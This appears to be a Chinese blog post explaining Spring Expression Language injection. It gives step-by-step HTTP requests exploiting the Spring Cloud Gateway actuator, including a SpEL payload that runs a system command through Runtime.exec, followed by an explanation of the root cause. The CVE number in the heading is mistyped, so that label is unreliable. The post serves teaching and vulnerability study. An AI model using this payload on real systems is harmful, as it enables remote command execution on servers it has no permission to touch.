首页 > 其他分享 >Spel注入漏洞分析

Spel注入漏洞分析

时间:2024-09-03 09:53:05浏览次数:6  
标签:SPEL 537.36 Spring SpEL Accept 漏洞 Spel 表达式 注入

文章目录


SPEL注入

SPEL是Spring框架中的一种表达式语言,用于在Spring配置中动态计算值。它提供了一种简洁的语法,用于访问和操作对象的属性、调用方法、进行数学计算、逻辑运算等。允许开发者在Spring应用程序中以动态和灵活的方式操作和配置bean,增强了配置的可读性和动态性。而SPEL注入漏洞是针对的是 Spring 框架中使用表达式语言的模块。由于SPEL被广泛应用于构建动态表达式,许多组件和功能依赖于它,包括但不限于:

模块详情
Spring Security在安全控制中,SPEL常被用来定义访问控制规则。攻击者可能试图通过操纵输入来执行未授权的操作。
Spring MVC在Spring MVC中,SPEL可以用于控制器的方法参数和视图模型的构建,攻击者可以注入恶意表达式来操控控制器逻辑或数据。
Spring ContextSPEL也可以在上下文中用于属性注入,恶意用户可以尝试注入表达式来访问或修改容器中的 Bean 属性。
Spring Data在Spring Data的查询和实体映射中,SPEL可能被用来动态构建查询,攻击者利用此点注入不必要的查询逻辑。

SPEL漏洞案例

CVE-2022-2297

EXP

使用以下数据包注入包含恶意SpEL表达式的路由

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
发送如下数据包应用刚添加的路由。
这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

在这里插入图片描述

再刷新下路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

漏洞原理
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

#参考
Spel表达式漏洞总结
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

标签:SPEL,537.36,Spring,SpEL,Accept,漏洞,Spel,表达式,注入
From: https://blog.csdn.net/qq_50296568/article/details/141800668

相关文章

  • 全局消息钩子注入 Dll
    常用的线程注入方法有:远程线程注入、全局消息钩子注入、APC应用层异步注入、ZwCreateThreadEx强力注入和纯汇编实现的线程注入等。今天我们讲一下全局消息钩子注入的这种方法,其原理是通过SetWindowsHookEx函数,注册一个全局消息钩子,当我们截获到消息时(只要权限足够,任何基于消......
  • 2024挖漏洞给报酬的网站汇总,兼职副业3天收益2k
    文章目录一、众测平台(国内)二、前沿漏洞研究奖励计划三、行业SRC四、企业应急响应中心-SRC-汇总1、互联网企业2、生活服务、住宿、购物相关企业3、物流、出行、旅游4、金融相关企业5、视频·游戏·直播·社交·娱乐6、教育、问答、知识付费7、泛科技·通讯·物联网·云......
  • 远程线程注入 Dll
    常用的线程注入方法有:远程线程注入、普通消息钩子注入、全局消息钩子注入、APC应用层异步注入、ZwCreateThreadEx强力注入和纯汇编实现的线程注入等。今天我们讲一下远程线程注入的这种方法,其原理是获取LoadLibrary系统函数的地址(我们知道系统函数的地址在每个进程中都是保持......
  • 「漏洞复现」用友NC link/content SQL注入漏洞
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 【甲方安全建设】富文本编辑器XSS漏洞攻击及防御详析
    原创文章,禁止转载。目录调研背景搭建TinyMCE富文本编辑器靶场富文本编辑器前端过滤富文本编辑器后端攻击后端弱过滤弱过滤1弱过滤2后端有效过滤从甲方的视角看动态安全调研背景随着Web2.0技术的普及,富文本编辑器在各种Web应用中得到了广泛应用,用户、网站管理员等可以通过富......
  • JeecgBoot积木报表AviatorScript表达式注入漏洞复现
    漏洞信息影响组件:JimuReport积木报表影响版本:v1.6.0<JimuReport≤1.7.8漏洞名称:AviatorScript表达式注入漏洞漏洞链接:积木报表软件存在AviatorScript代码注入RCE漏洞·Issue#2848漏洞描述:积木报表软件存在AviatorScript代码注入RCE漏洞使用接口/jmreport/save处在te......
  • 开机就能打?没那么玄乎!客观分析 “狂躁许可”漏洞(CVE-2024-38077)及其影响范围
    一、事件背景2024年7月9日,微软官方发布了一个针对“windows远程桌面授权服务远程代码执行漏洞”(CVE-2024-38077)的修复补丁包,起初并没有引起大家的警觉。今日在国外某网站上疑似漏洞的作者公开了该漏洞的“POC验证代码”。一时激起千层浪,该漏洞开始疯狂发酵并在安全圈里转发。该文章......
  • 【学习】【AI+安全】基于AI的业务逻辑漏洞安全架构研究
    摘要引言一、业务逻辑漏洞的挑战二、AI技术与业务逻辑漏洞检测2.1自然语言分析2.2模式识别与异常检测三、架构设计3.1架构模块设计3.2架构模型设计3.2.1基础场景分析模型3.2.2一致性分析模型3.2.3异常分析模型......
  • 【漏洞利用】2024Hvv漏洞POC283 个合集分享
    最近Hvv活动圆满结束,我将这段时间收集到的漏洞PoC汇总成了一份148页的文档,共包括283个公开漏洞。经过近两个月的激烈演习,我们终于迎来了年度保护碗筷行动的尾声。无论大家是否已经准备好度假,现阶段我们分享的这些信息可以帮助大家更好地了解今年的漏洞情况。特别声明,这些漏洞信息......
  • 用友U8 Cloud RepAddToTaskAction SQL注入漏洞
     0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用......